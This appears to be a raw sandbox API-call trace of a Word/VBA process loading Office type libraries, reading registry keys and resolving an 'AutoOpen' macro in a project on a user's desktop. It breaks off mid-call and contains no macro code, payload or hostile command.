[0069.615] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f4970, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0069.615] RegOpenKeyW (in: hKey=0x14d6, lpSubKey="0", phkResult=0xbcb38f4948 | out: phkResult=0xbcb38f4948*=0x14de) returned 0x0 [0069.615] RegQueryValueW (in: hKey=0x14de, lpSubKey="win64", lpData=0xbcb38f4990, lpcbData=0xbcb38f4944 | out: lpData="C:\\Windows\\System32\\stdole2.tlb", lpcbData=0xbcb38f4944) returned 0x0 [0069.615] wcscpy_s (in: _Destination=0xbcb38f4c10, _SizeInWords=0x104, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0069.615] RegCloseKey (hKey=0x14de) returned 0x0 [0069.615] RegCloseKey (hKey=0x14d6) returned 0x0 [0069.615] RegCloseKey (hKey=0x14d2) returned 0x0 [0069.615] RegCloseKey (hKey=0x14ce) returned 0x0 [0069.615] LoadTypeLib (in: szFile="C:\\Windows\\System32\\stdole2.tlb", pptlib=0xbcb38f4fb8*=0x0 | out: pptlib=0xbcb38f4fb8*=0x2884e335eb0) returned 0x0 [0069.615] IUnknown:AddRef (This=0x2884e335eb0) returned 0x6 [0069.616] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5018 | out: ppvObject=0xbcb38f5018*=0x0) returned 0x80004002 [0069.616] ITypeLib:RemoteGetDocumentation (in: This=0x2884e335eb0, index=-1, refPtrFlags=0xb38f5358, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x288575fa601 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x288575fa601) returned 0x0 [0069.616] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3 [0069.616] IUnknown:Release (This=0x2884e335eb0) returned 0x5 [0069.616] wcscpy_s (in: _Destination=0x2885d6bc4b8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0069.616] wcsncpy_s (in: _Destination=0xbcb38f4c70, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0069.616] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0069.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f4ba0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0069.616] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0069.616] SysStringByteLen (bstr="潎浲污") returned 0x6 [0069.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0069.616] SysStringByteLen (bstr="潎浲污") returned 0x6 [0069.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=7, lpWideCharStr=0x2884e19c3a8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0069.616] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2 [0069.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f52b0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0069.616] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0069.617] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288576438a0) [0069.640] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0069.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0069.640] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0069.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=8, lpWideCharStr=0x2884e19c3a8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0069.641] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0069.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0069.641] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0069.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=8, lpWideCharStr=0x288574fe078, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0069.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0xbcb38f4910, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0069.641] lstrlenA (lpString="Project") returned 7 [0069.641] lstrcatA (in: lpString1="Project", lpString2=" (" | out: lpString1="Project (") returned="Project (" [0069.641] strncat_s (in: _Destination="Project (", _SizeInBytes=0x902, _Source="CUsersUserDesktopfasfas", _MaxCount=0x28 | out: _Destination="Project (CUsersUserDesktopfasfas") returned 0x0 [0069.641] lstrcatA (in: lpString1="Project (CUsersUserDesktopfasfas", lpString2=")" | out: lpString1="Project (CUsersUserDesktopfasfas)") returned="Project (CUsersUserDesktopfasfas)" [0069.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa8) returned 0x2885d5d06e0 [0069.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x28857643320 [0069.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x28856fa1dd0 [0069.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa8) returned 0x2885d5cf240 [0069.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x28857643620 [0069.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AutoOpen", cchWideChar=9, lpMultiByteStr=0xbcb38f4500, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AutoOpen", lpUsedDefaultChar=0x0) returned 9 [0069.654] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="AutoOpen") returned 0x302ad9 [0069.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AutoOpen", cchWideChar=9, lpMultiByteStr=0xbcb38f44e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AutoOpen", lpUsedDefaultChar=0x0) returned 9 [0069.654] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="AutoOpen") returned 0x302ad9 [0069.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d6d1b50 [0069.654] qsort (in: _Base=0x2885d6d1b50, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58 | out: _Base=0x2885d6d1b50) [0069.654] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1 [0069.654] bsearch (_Key=0xbcb38f3438, _Base=0x2885d6d1b50, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58) returned 0x2885d6d1b50 [0069.654] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 2 [0070.673] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0070.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0070.673] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0070.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=8, lpWideCharStr=0x288574fe078, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0070.673] free (_Block=0x2885bb6d690) [0070.673] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0070.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0070.673] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0070.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d6bc4b8, cbMultiByte=8, lpWideCharStr=0x2884e19c3a8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0070.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0xbcb38f4d90, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0070.673] lstrlenA (lpString="Project") returned 7 [0070.673] lstrcatA (in: lpString1="Project", lpString2=" (" | out: lpString1="Project (") returned="Project (" [0070.673] strncat_s (in: _Destination="Project (", _SizeInBytes=0x902, _Source="CUsersUserDesktopfasfas", _MaxCount=0x28 | out: _Destination="Project (CUsersUserDesktopfasfas") returned 0x0 [0070.673] lstrcatA (in: lpString1="Project (CUsersUserDesktopfasfas", lpString2=")" | out: lpString1="Project (CUsersUserDesktopfasfas)") returned="Project (CUsersUserDesktopfasfas)" [0071.320] malloc (_Size=0x90) returned 0x2885bb6df40 [0071.322] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1b) returned 0x2885da87690 [0071.322] strncpy_s (in: _Dst=0x2885da87690, _DstSize=0x1b, _Src="Project.AutoOpen.AutoOpen", _MaxCount=0x19 | out: _Dst="Project.AutoOpen.AutoOpen") returned 0x0 [0071.322] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="Project") returned 0x30ae2d [0071.322] bsearch (_Key=0xbcb38f66d8, _Base=0x2885d6d1b50, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58) returned 0x0 [0071.322] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 3 [0071.322] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1 [0071.322] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="Project", cchCount2=-1) returned 2 [0071.322] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="AutoOpen") returned 0x302ad9 [0071.322] bsearch (_Key=0xbcb38f66d8, _Base=0x2885d6d1b50, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bdb99a58) returned 0x2885d6d1b50 [0071.322] CompareStringA (Locale=0x419, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 2 [0071.322] LHashValOfNameSysA (syskind=0x1, lcid=0x419, szName="AutoOpen") returned 0x302ad9 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2885d9697a0 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885da87e70 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2ca1c0 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e28a470 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e44c0 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4550 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2885d9c2970 [0071.324] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da87e70, cb=0x0) returned 0x0 [0071.324] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e45b0 [0071.324] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d2ca1c0, cb=0x10) returned 0x2885d2ca320 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884e28a470, cb=0x8) returned 0x2885d5e4640 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2885da39710 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885da87750 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4560 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e45c0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885da87fc0 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e45c0, cb=0x0) returned 0x0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e45c0 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e4550, cb=0x0) returned 0x0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4550 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e4560, cb=0x0) returned 0x0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4560 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da87fc0, cb=0x0) returned 0x0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e45d0 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e44c0, cb=0x0) returned 0x0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e44c0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e28a470 [0071.325] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884e28a470, cb=0x8c8) returned 0x2885da85ef0 [0071.325] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x28856f8f710 [0071.326] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e28ace0 [0071.326] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa2c) returned 0x2885da98010 [0071.326] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884e28ace0, cb=0x1228) returned 0x2885da98a50 [0071.326] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_Evaluate") returned 0x30d918 [0071.328] _mbscpy_s (in: _Dst=0xbcb38f64c0, _DstSizeInBytes=0x16, _Src=0x28860e62be6 | out: _Dst=0xbcb38f64c0) returned 0x0 [0071.328] _mbscpy_s (in: _Dst=0xbcb38f64c0, _DstSizeInBytes=0xd, _Src=0x28860e62d72 | out: _Dst=0xbcb38f64c0) returned 0x0 [0071.328] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da85ef0, cb=0x1190) returned 0x2885da99c80 [0071.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0661689565", cchWideChar=11, lpMultiByteStr=0xbcb38f6a90, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0661689565", lpUsedDefaultChar=0x0) returned 11 [0071.330] GetLocalTime (in: lpSystemTime=0xbcb38f6b78 | out: lpSystemTime=0xbcb38f6b78*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x3b, wMilliseconds=0x3a1)) [0071.330] _ultow_s (in: _Value=0x6168c317, _Buffer=0x2885d4e93fc, _BufferCount=0x9, _Radix=16 | out: _Buffer="6168c317") returned 0x0 [0071.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="056168c317", cchWideChar=11, lpMultiByteStr=0xbcb38f6ad0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="056168c317", lpUsedDefaultChar=0x0) returned 11 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e28a470 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d749c00 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d748040 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ed880 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ee180 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6edac0 [0071.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x810) returned 0x2885d8b27f0 [0071.331] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d8b27f0) [0071.331] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x810) returned 0x2885d8b27f0 [0071.331] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d8b27f0) [0071.331] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e44c0, cb=0x20) returned 0x2885da87fc0 [0071.331] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e4560, cb=0x28) returned 0x2885da88110 [0071.332] IUnknown:AddRef (This=0x2885d4c6250) returned 0x4 [0071.332] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0xbcb38f62e0 | out: phkResult=0xbcb38f62e0*=0x15c0) returned 0x0 [0071.332] RegQueryValueExA (in: hKey=0x15c0, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0xbcb38f62d8, lpcbData=0xbcb38f62d0*=0x4 | out: lpType=0x0, lpData=0xbcb38f62d8*=0x20, lpcbData=0xbcb38f62d0*=0x4) returned 0x2 [0071.332] RegCloseKey (hKey=0x15c0) returned 0x0 [0071.333] IUnknown:QueryInterface (in: This=0x2885d4c6250, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f6388 | out: ppvObject=0xbcb38f6388*=0x0) returned 0x80004002 [0071.333] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f6378, pDummy=0x10 | out: ppTLibAttr=0xbcb38f6378, pDummy=0x10) returned 0x0 [0071.333] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.333] IUnknown:Release (This=0x2885d4c6250) returned 0x3 [0071.333] IUnknown:AddRef (This=0x28857594370) returned 0xa [0071.333] IUnknown:QueryInterface (in: This=0x28857594370, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f6388 | out: ppvObject=0xbcb38f6388*=0x0) returned 0x80004002 [0071.333] ITypeLib:RemoteGetLibAttr (in: This=0x28857594370, ppTLibAttr=0xbcb38f6378, pDummy=0x10 | out: ppTLibAttr=0xbcb38f6378, pDummy=0x10) returned 0x0 [0071.333] ITypeLib:LocalReleaseTLibAttr (This=0x28857594370) returned 0x0 [0071.333] IUnknown:Release (This=0x28857594370) returned 0x9 [0071.333] IUnknown:AddRef (This=0x2884e335eb0) returned 0x6 [0071.333] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f6388 | out: ppvObject=0xbcb38f6388*=0x0) returned 0x80004002 [0071.333] ITypeLib:RemoteGetLibAttr (in: This=0x2884e335eb0, ppTLibAttr=0xbcb38f6378, pDummy=0x10 | out: ppTLibAttr=0xbcb38f6378, pDummy=0x10) returned 0x0 [0071.333] ITypeLib:LocalReleaseTLibAttr (This=0x2884e335eb0) returned 0x0 [0071.333] IUnknown:Release (This=0x2884e335eb0) returned 0x5 [0071.333] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x288576991e0 [0071.333] wcscpy_s (in: _Destination=0x2885d6bc4b8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0071.333] wcsncpy_s (in: _Destination=0xbcb38f5f30, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0071.334] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0071.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f5e60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0071.334] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0071.334] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288576991e0) [0071.334] GetLocalTime (in: lpSystemTime=0xbcb38f62d0 | out: lpSystemTime=0xbcb38f62d0*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x3b, wMilliseconds=0x3b1)) [0071.334] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x2885769a1f0 [0071.334] wcscpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0071.334] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xbcb38f5b70 | out: phkResult=0xbcb38f5b70*=0x15c2) returned 0x0 [0071.335] RegOpenKeyW (in: hKey=0x15c2, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0xbcb38f5b68 | out: phkResult=0xbcb38f5b68*=0x15ca) returned 0x0 [0071.335] RegEnumKeyW (in: hKey=0x15ca, dwIndex=0x0, lpName=0xbcb38f5b98, cchName=0xa | out: lpName="2.6") returned 0x0 [0071.335] RegEnumKeyW (in: hKey=0x15ca, dwIndex=0x1, lpName=0xbcb38f5b98, cchName=0xa | out: lpName="2.7") returned 0x0 [0071.335] RegEnumKeyW (in: hKey=0x15ca, dwIndex=0x2, lpName=0xbcb38f5b98, cchName=0xa | out: lpName="2.8") returned 0x0 [0071.335] wcscpy_s (in: _Destination=0xbcb38f5b80, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0071.335] RegOpenKeyW (in: hKey=0x15ca, lpSubKey="2.8", phkResult=0xbcb38f5c28 | out: phkResult=0xbcb38f5c28*=0x15d2) returned 0x0 [0071.336] _ultoa_s (in: _Val=0x0, _DstBuf=0xbcb38f5ba0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0071.336] RegOpenKeyA (in: hKey=0x15d2, lpSubKey="0", phkResult=0xbcb38f5b90 | out: phkResult=0xbcb38f5b90*=0x15da) returned 0x0 [0071.336] RegOpenKeyW (in: hKey=0x15da, lpSubKey="win64", phkResult=0xbcb38f5b98 | out: phkResult=0xbcb38f5b98*=0x15e2) returned 0x0 [0071.336] RegCloseKey (hKey=0x15e2) returned 0x0 [0071.336] RegCloseKey (hKey=0x15da) returned 0x0 [0071.336] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f5c30, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0071.336] RegOpenKeyW (in: hKey=0x15d2, lpSubKey="0", phkResult=0xbcb38f5c08 | out: phkResult=0xbcb38f5c08*=0x15d6) returned 0x0 [0071.337] RegQueryValueW (in: hKey=0x15d6, lpSubKey="win64", lpData=0xbcb38f5c50, lpcbData=0xbcb38f5c04 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0xbcb38f5c04) returned 0x0 [0071.337] wcscpy_s (in: _Destination=0x2885769a1f0, _SizeInWords=0x800, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0071.337] RegCloseKey (hKey=0x15d6) returned 0x0 [0071.337] RegCloseKey (hKey=0x15d2) returned 0x0 [0071.337] RegCloseKey (hKey=0x15ca) returned 0x0 [0071.337] RegCloseKey (hKey=0x15c2) returned 0x0 [0071.337] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0xbcb38f6278*=0x0 | out: pptlib=0xbcb38f6278*=0x2885d608e20) returned 0x0 [0071.338] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885769a1f0) [0071.338] IUnknown:AddRef (This=0x2885d608e20) returned 0x3 [0071.338] IUnknown:QueryInterface (in: This=0x2885d608e20, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f62d8 | out: ppvObject=0xbcb38f62d8*=0x0) returned 0x80004002 [0071.338] IUnknown:QueryInterface (in: This=0x2885d608e20, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f6388 | out: ppvObject=0xbcb38f6388*=0x0) returned 0x80004002 [0071.338] ITypeLib:RemoteGetLibAttr (in: This=0x2885d608e20, ppTLibAttr=0xbcb38f6378, pDummy=0x10 | out: ppTLibAttr=0xbcb38f6378, pDummy=0x10) returned 0x0 [0071.338] ITypeLib:LocalReleaseTLibAttr (This=0x2885d608e20) returned 0x0 [0071.338] IUnknown:Release (This=0x2885d608e20) returned 0x2 [0071.338] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x2885d998250 [0071.338] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0071.338] IUnknown:AddRef (This=0x2885d4c6250) returned 0x4 [0071.338] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f6118, pDummy=0x0 | out: ppTLibAttr=0xbcb38f6118, pDummy=0x0) returned 0x0 [0071.339] ITypeLib:RemoteGetDocumentation (in: This=0x2885d4c6250, index=-1, refPtrFlags=0xb38f6130, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9a2700000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9a2700000000) returned 0x0 [0071.339] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 